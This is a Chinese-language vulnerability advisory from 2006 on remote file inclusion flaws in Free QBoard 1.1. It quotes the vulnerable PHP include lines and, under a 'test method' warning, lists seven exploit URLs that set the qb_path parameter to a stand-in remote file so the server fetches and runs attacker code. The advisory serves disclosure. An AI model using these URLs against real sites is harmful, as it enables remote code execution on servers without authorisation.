信息来源：绿盟科技
发布日期：2006-07-03
更新日期：2006-07-04
受影响系统：
free QBoard free QBoard 1.1
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 18788
Free Qboard是高级的开放源码留言簿服务。
Free Qboard的多个模块中存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
具体漏洞代码如下：
----------------------
1- index.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
2- about.php
include $qb_path."incs/header.php";
----------------------------------
3- contact.php
include $qb_path."incs/header.php";
----------------------------------
4- delete.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
5- faq.php
include $qb_path."incs/header.php";
----------------------------------
6- features.php
include $qb_path."incs/header.php";
----------------------------------
7- history.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------
$qb_path parameter File inclusion
<*来源：CrAsh_oVeR_rIdE （
KARKOR23@hotmail.com）
链接：
http://marc.theaimsgroup.com/?l= ... 94911001823&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
www.example.com/(path)/index.php?qb_path=http://evilcode.txt?
www.example.com/(path)/about.php?qb_path=http://evilcode.txt?
www.example.com/(path)/contact.php?qb_path=http://evilcode.txt?
www.example.com/(path)/delete.php?qb_path=http://evilcode.txt?
www.example.com/(path)/faq.php?qb_path=http://evilcode.txt?
www.example.com/(path)/features.php?qb_path=http://evilcode.txt?
www.example.com/(path)/history.php?qb_path=http://evilcode.txt?
建议：
--------------------------------------------------------------------------------
厂商补丁：
free QBoard
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://sourceforge.net/projects/freeqboard/
